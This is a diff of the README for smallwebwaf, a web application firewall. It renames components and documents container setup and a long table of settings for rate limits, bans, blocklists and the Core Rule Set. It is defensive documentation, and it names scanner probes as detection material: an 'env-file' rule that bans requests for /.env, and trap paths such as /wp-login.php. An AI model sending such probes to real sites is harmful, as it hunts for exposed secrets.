during the ban makes the ban permanent. Your own rules, or a list of trap during the ban makes the ban permanent. Your own rules, or a list of trap
@@ -68,8 +68,9 @@ Not built, and not planned:
### The image ### The image
No image is published. Build it from a clone. `make docker` runs the tests and The image is published at `git.eeqj.de/sneak/smallwebwaf`. You can also build it
the linter, then builds the image, tagged `smallwebwaf`. from a clone. `make docker` runs the tests and the linter, then builds the
image, tagged `smallwebwaf`.
```sh ```sh
git clone https://git.eeqj.de/sneak/smallwebwaf.git git clone https://git.eeqj.de/sneak/smallwebwaf.git
@@ -79,11 +80,11 @@ make docker
Push the image to a registry your hosts pull from, and name it there by digest. Push the image to a registry your hosts pull from, and name it there by digest.
The image runs `rproxy` by default. To run `servewaf` from the same image, set The image runs `rproxy` by default. To run `discriminator` from the same image,
the container's `SMALLWEBWAF_COMMAND` to `servewaf`. The image's health check set the container's `SWW_COMMAND` to `discriminator`. The image's health check
follows the command: in `rproxy`'s container it passes once `rproxy` answers and follows the command: in `rproxy`'s container it passes once `rproxy` answers and
the app accepts connections, whether or not `servewaf` answers; in `servewaf`'s the app accepts connections, whether or not `discriminator` answers; in
container, once `servewaf` answers. `discriminator`'s container, once `discriminator` answers.
### The usual setup: three containers ### The usual setup: three containers
@@ -91,24 +92,24 @@ The usual setup is three containers on one private network:
- the app; - the app;
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND` - `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
names `servewaf` and `SWRP_UPSTREAM_URL` names the app; names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
- `servewaf`, with `SMALLWEBWAF_COMMAND=servewaf` and a volume at - `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
`/var/lib/smallwebwaf` for its state files. `/var/lib/sww` for its state files.
Point traefik's labels at port 8080 of `rproxy` Point traefik's labels at port 8080 of `rproxy`
(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port (`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
of the app or of `servewaf`. Anything on that network can reach the app around of the app or of `discriminator`. Anything on that network can reach the app
`rproxy`, and can ask `servewaf` questions, so the network holds only what you around `rproxy`, and can ask `discriminator` questions, so the network holds
trust. Each further app adds its own container and its own `rproxy`, whose only what you trust. Each further app adds its own container and its own
`SWRP_WAF_BACKEND` names the same `servewaf`. The "Smallest setup" and "In front `rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
of gitea" examples below show this shape. setup" example below shows this shape.
### `rproxy` in the app's container ### `rproxy` in the app's container
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy` An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
runs beside the app in one container. `servewaf` still runs in a container of runs beside the app in one container. `discriminator` still runs in a container
its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by of its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named
digest, and adds: by digest, and adds:
- the app's binary; - the app's binary;
- the packages the app needs, from the nixpkgs in the image; - the packages the app needs, from the nixpkgs in the image;
@@ -168,16 +169,16 @@ does.
- A log line with `"msg":"starting"` gives the version, the address and every - A log line with `"msg":"starting"` gives the version, the address and every
setting in effect, with secrets masked. setting in effect, with secrets masked.
- A request to the site through traefik gets the app's answer. - A request to the site through traefik gets the app's answer.
`https://<site>/_smallwebwaf/healthz` answers `ok`. `servewaf`'s log lines `https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
about the request have `"action":"forward"`. the request have `"action":"forward"`.
- To see a refusal without banning yourself, run `servewaf` with - To see a refusal without banning yourself, run `discriminator` with
`SWWAF_MODE=observe` and ask for `/.env`. The request reaches the app. `SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
`servewaf`'s log lines have `"would_action":"banned"` and `discriminator`'s log lines have `"would_action":"temporarily_banned"` and
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as `"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
"Clients and bans" below describes. "Clients and bans" below describes.
- With `SWWAF_METRICS_TOKEN` set, this answers with the metrics, from a host on - With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
`servewaf`'s network: `discriminator`'s network:
`curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/metrics`. `curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
- `make example-app` builds the image and an app on it, runs them, and checks - `make example-app` builds the image and an app on it, runs them, and checks
the whole exchange (see "Entrypoints"). the whole exchange (see "Entrypoints").
@@ -185,16 +186,17 @@ does.
Every setting is an environment variable, read once at start; changing one means Every setting is an environment variable, read once at start; changing one means
restarting the container. `rproxy` reads only the `SWRP_` settings, and restarting the container. `rproxy` reads only the `SWRP_` settings, and
`servewaf` only the `SWWAF_` ones. Every setting but `SWRP_WAF_BACKEND` has a `discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
default, chosen for a service on the open internet. A setting that needs an default, chosen for a service on the open internet. A setting that needs an
account, a key, a token or an alert destination stays off until you give one. account, a key, a token or an alert destination stays off until you give one.
- Any `SWWAF_` setting can be given as a file instead, for secrets and long - Any `SWW_` setting can be given as a file instead, for secrets and long lists:
lists: `SWWAF_ADMIN_TOKEN_FILE` names the file that holds `SWWAF_ADMIN_TOKEN`. `SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
The file's contents are the value, less one newline at the end. Setting both contents are the value, less one newline at the end. Setting both forms stops
forms stops the start. `SWWAF_LOG_REMOTE_TLS_CA_FILE` and the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and
`SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no
`_FILE` form. No `SWRP_` setting has one, since `rproxy` never touches disk. `_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has
one, since `rproxy` never touches disk.
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. - A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of - A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
1024: `512K`, `100M`, `5G`. 1024: `512K`, `100M`, `5G`.
@@ -208,6 +210,10 @@ account, a key, a token or an alert destination stays off until you give one.
percentage is a whole number from 0 to 100. A path prefix starts with `/`. percentage is a whole number from 0 to 100. A path prefix starts with `/`.
- `off` switches a limit, a threshold or a timeout off where the table says a - `off` switches a limit, a threshold or a timeout off where the table says a
setting takes it. setting takes it.
- The byte limits and the byte anomaly thresholds count only body bytes: the
app's response bodies, the visitors' request bodies, or both, as
`SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over
a WebSocket counts as request bytes, and what the app sent as response bytes.
- An invalid setting stops the process at start with one log line naming the - An invalid setting stops the process at start with one log line naming the
variable and what is wrong with the value. The settings in effect are logged variable and what is wrong with the value. The settings in effect are logged
on one line at start, with tokens, keys and webhook paths shown as `********`. on one line at start, with tokens, keys and webhook paths shown as `********`.
@@ -215,121 +221,122 @@ account, a key, a token or an alert destination stays off until you give one.
Every setting the code reads, with its default: Every setting the code reads, with its default:
| Variable | Default | What it does | | Variable | Default | What it does |
| ------------------------------------------ | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SMALLWEBWAF_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `servewaf`. | | `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWRP_WAF_BACKEND` | required | `servewaf`'s URL, such as `http://servewaf:8080`. | | `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | | `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | | `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | | `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `servewaf`'s answer to a question and to a report, in milliseconds. | | `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `servewaf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | | `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | | `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`; a larger one is answered `502`, or cut off once it has started. | | `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | How long the visitor may take to send its request line and headers, and then the whole request to reach the app, in milliseconds or `off`. | | `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | | `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWWAF_LISTEN_ADDR` | `:8080` | Where `servewaf` listens; leave the host part empty. | | `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
| `SWWAF_INSTANCE_NAME` | the container's host name | The name in every line `servewaf` logs, and in every alert and metric, such as `fsn1/servewaf`. | | `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
| `SWWAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | | `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWWAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | | `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWWAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | | `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWWAF_MAX_BANS` | `5000` | The most bans `servewaf` keeps of its own; bans an admin made do not count. | | `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
| `SWWAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | | `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWWAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients the request and byte limits neither count nor refuse. | | `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWWAF_DENY_NETS` | empty | Netblocks whose clients are refused. | | `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWWAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; one more bans it. | | `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWWAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; one more bans it. | | `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWWAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; one more bans it. | | `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWWAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes whose requests the request and byte limits neither count nor refuse, such as `/assets/`. | | `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWWAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes a client's requests may carry in a minute, a size or `off`; the request that takes a client past any byte limit bans it. | | `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWWAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes a client's requests may carry in an hour, a size or `off`. | | `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWWAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes a client's requests may carry in a day, a size or `off`. | | `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWWAF_BYTES_COUNT` | `both` | Which body bytes the byte limits count: `response`, `request` or `both`. | | `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWWAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals by a rule file, a trap path or the Core Rule Set a client may get in a minute, a count or `off`; one more bans it. | | `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWWAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | | `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWWAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | | `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWWAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A limit broken again within this time after the last such ban ended gets a ban three times as long. | | `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWWAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | | `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWWAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | | `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWWAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | | `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWWAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs`, a web service, `file`, or `off`. | | `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWWAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | | `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWWAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. | | `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWWAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | | `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWWAF_DENIED_COUNTRIES` | empty | Countries whose clients are refused, such as `cn,ru`. | | `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | | `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWWAF_ASN_LIMIT_PERCENT` | empty | AS numbers whose clients get a percentage of every request and byte limit, such as `AS14061:50,AS16276:25`. | | `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWWAF_COUNTRY_LIMIT_PERCENT` | empty | The same by country, such as `cn:25`. | | `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWWAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `SWWAF_ASN_LIMIT_PERCENT`. | | `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWWAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `SWWAF_COUNTRY_LIMIT_PERCENT`. | | `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWWAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | | `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWWAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; where it and `SWWAF_ASN_LIMIT_PERCENT` both give a percentage, the lower applies. | | `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWWAF_RULES_DIR` | `/etc/smallwebwaf/rules.d` | The directory of the rule files, read at start and again when a file there changes. | | `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWWAF_RULES_ENABLED` | `true` | `false` reads no rule file. | | `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWWAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | | `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWWAF_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | | `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWWAF_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | | `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWWAF_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | | `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWWAF_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | | `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWWAF_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | | `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWWAF_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | | `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only; `deploy/gitea/crs-exclusions.conf` is gitea's. | | `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWWAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | | `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWWAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | | `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWWAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. | | `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWWAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | | `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWWAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | | `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWWAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | | `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWWAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | | `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWWAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | | `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWWAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | | `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWWAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | | `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWWAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. | | `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWWAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | | `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWWAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. | | `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWWAF_STATE_DIR` | `/var/lib/smallwebwaf` | The directory of the state files, an absolute path. | | `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWWAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | | `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWWAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. | | `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWWAF_LOG_LEVEL` | `info` | The least severe of `servewaf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | | `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
| `SWWAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | | `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWWAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `servewaf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | | `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWWAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | | `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWWAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | | `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWWAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | | `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWWAF_LOG_REMOTE_APP_NAME` | `SWWAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | | `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWWAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | | `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWWAF_METRICS_TOKEN` | unset | The bearer token for `/_smallwebwaf/metrics`, at least 32 characters; unset, the metrics are off. | | `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWWAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | | `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWWAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | | `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWWAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. | | `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWWAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | | `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWWAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | | `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWWAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | | `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
